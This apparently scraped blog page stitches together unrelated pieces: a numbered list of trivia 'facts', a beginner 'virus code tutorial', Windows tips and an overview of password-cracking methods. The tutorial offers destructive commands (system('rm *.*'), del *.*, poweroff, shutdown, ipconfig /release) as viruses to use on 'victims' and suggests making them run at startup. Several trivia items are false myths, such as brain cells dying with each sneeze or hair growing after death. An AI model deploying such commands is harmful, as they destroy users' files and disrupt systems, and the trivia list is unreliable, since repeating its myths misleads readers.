8. The average person who stops smoking requires one hour less sleep a night.

9. Laughing lowers levels of stress hormones and strengthens the immune system. Six-year-olds laugh an average of 300 times a day. Adults only laugh 15 to 100 times a day.

10. The roar that we hear when we place a seashell next to our ear is not the ocean, but rather the sound of blood surging through the veins in the ear.

11. Dalmatians are born without spots.

12. Bats always turn left when exiting a cave.

13. The ‘v’ in the name of a court case does not stand for ‘versus’, but for ‘and’ (in civil proceedings) or ‘against’ (in criminal proceedings).

14. Men’s shirts have the buttons on the right, but women’s shirts have the buttons on the left.

15. The owl is the only bird to drop its upper eyelid to wink. All other birds raise their lower eyelids.

16. The reason honey is so easy to digest is that it’s already been digested by a bee.

17. Roosters cannot crow if they cannot extend their necks.

18. The color blue has a calming effect. It causes the brain to release calming hormones.

19. Every time you sneeze some of your brain cells die.

20. Your left lung is smaller than your right lung to make room for your heart.

21. The verb “cleave” is the only English word with two synonyms which are antonyms of each other: adhere and separate.

22. When you blush, the lining of your stomach also turns red.

23. When hippos are upset, their sweat turns red.

24. The first Harley Davidson motorcycle was built in 1903, and used a tomato can for a carburetor.

25. The lion that roars in the MGM logo is named Volney.

26. Google is actually the common name for a number with a million zeros.

27. Switching letters is called spoonerism. For example, saying jag of Flapan, instead of flag of Japan.

28. It cost 7 million dollars to build the Titanic and 200 million to make a film about it.

29. The attachment of the human skin to muscles is what causes dimples.

30. There are 1,792 steps to the top of the Eiffel Tower.

31. The sound you hear when you crack your knuckles is actually the sound of nitrogen gas bubbles bursting.

32. Human hair and fingernails continue to grow after death.

33. It takes about 20 seconds for a red blood cell to circle the whole body.

34. The plastic things on the end of shoelaces are called aglets.

35. Most soccer players run 7 miles in a game.

36. The only part of the body that has no blood supply is the cornea in the eye. It takes in oxygen directly from the air.

37. Every day 200 million couples make love, 400,000 babies are born, and 140,000 people die.

38. In most watch advertisements the time displayed on the watch is 10:10 because then the arms frame the brand of the watch (and make it look like it
is smiling).

39. Colgate faced big obstacle marketing toothpaste in Spanish speaking countries. Colgate translates into the command “go hang yourself.”

40. The only 2 animals that can see behind itself without turning its head are the rabbit and the parrot.

41. Intelligent people have more zinc and copper in their hair.

42. The average person laughs 13 times a day.

43. Do you know the names of the three wise monkeys? They are:Mizaru(See no evil), Mikazaru(Hear no evil), and Mazaru(Speak no evil)

44. Women blink nearly twice as much as men.

45. German Shepherds bite humans more than any other breed of dog.

46. Large kangaroos cover more than 30 feet with each jump.

47. Whip makes a cracking sound because its tip moves faster than the speed of sound.

48. Two animal rights protesters were protesting at the cruelty of sending pigs to a slaughterhouse in Bonn. Suddenly the pigs, all two thousand of them, escaped through a broken fence and stampeded, trampling the two hapless protesters to death.

49. If a statue in the park of a person on a horse has both front legs in the air, the person died in battle; if the horse has one front leg in the air, the person died as a result of wounds received in battle; if the horse has all four legs on the ground, the person died of natural cause.

50. The human heart creates enough pressure while pumping to squirt blood 30 feet!!

Virus code tutorial

Virus code can be coded using several language. The best being c or vbs or dos. Today I teach some basic virus codings. I will be using c, dos and alp/asm(assembly language).These is a very simple Virus coding tutorial just a beginners guide

this is mainly for programmers. this post is just to change their thinking. First lets begin with tiny and simple ones.I will show both codes for windows and linux

First alp/asm
back: add c,b
loop back

This simple script needs no explanation. It will just be eating away your victims memory at a slow space. As you know addition needs some space to store intermediate result. this will be using up the ram. but very less of ram is lost and the user can stop this by just closing the .exe file. As you know a float addition takes up more space than normal addition . You can replace integer addition with float.

Now lets try to create a simple Linux virus in c.

system("poweroff");

This simple script will turn off your victims comp. Now if you can forece this script to load at start up then it will be a nightmare.

let's see one more linux virus of the same type
system("rm *.*");

This will all files with all extension which the user has previlage to delete.Just imagine if the admin runs it then it will create a havoc.

Lets see the same codes for windows.

To delete all files in windows using dos/batch progtraming will be
del *.*
and the code of the shutdown virus will be just shutdown

Now lets disable Internet

ipconfig /release
echo You Internet Been HACKED!


What if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus just a beginners guide. Just check out the virus codes section for more complex and full fledged Virus coding tutorial. Please dont misuse these virus codes in c

• » ƒяєє ѕρｿ 4 υ « •: SOME USEFUL TRICKS

• » ƒяєє ѕρｿ 4 υ « •: SOME USEFUL TRICKS

SOME USEFUL TRICKS

Set Processes Priority

Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.

CTRL-SHIFT-ESC
1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option

2.For example, your Run your CDwriter program , set the priority higher, and guess what, no crashed CD’s
Shutdown Trick !

Imidiate rapid shut down window
while shutting down window. open task manager(Ctr+Alt+Del),
Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.

Read more »

-: Password Hacking :-

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Most passwords can be cracked by using following techniques :

1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password.
If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords.
One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length.
LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately.
Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.


2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user's personal information.
Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include:
* blank (none)
* the word "password", "passcode", "admin" and their derivatives
* the user's name or login name
* the name of their significant other or another person (loved one)
* their birthplace or date of birth
* a pet's name
* a dictionary word in any language
* automobile licence plate number
* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)
* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.
and so on....
In one survery of MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was.
A password containing both uppercase & lowercase characters, numbers and special characters too; is a strong password and can never be guessed.

Check Your Password Strength



3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet.
Always disable or change the applications' (both online and offline) default username-password pairs.

4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked.
Long is the password, large is the time taken to brute force it.

5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc.
Phishing is a technique in which the attacker creates the fake login screen and send it to the victim, hoping that the victim gets fooled into entering the account username and password. As soon as victim click on "enter" or "login" login button this information reaches to the attacker using scripts or online form processors while the user(victim) is redirected to home page of e-mail service provider.
Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.

It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.
However, cracking usually designates a guessing attack.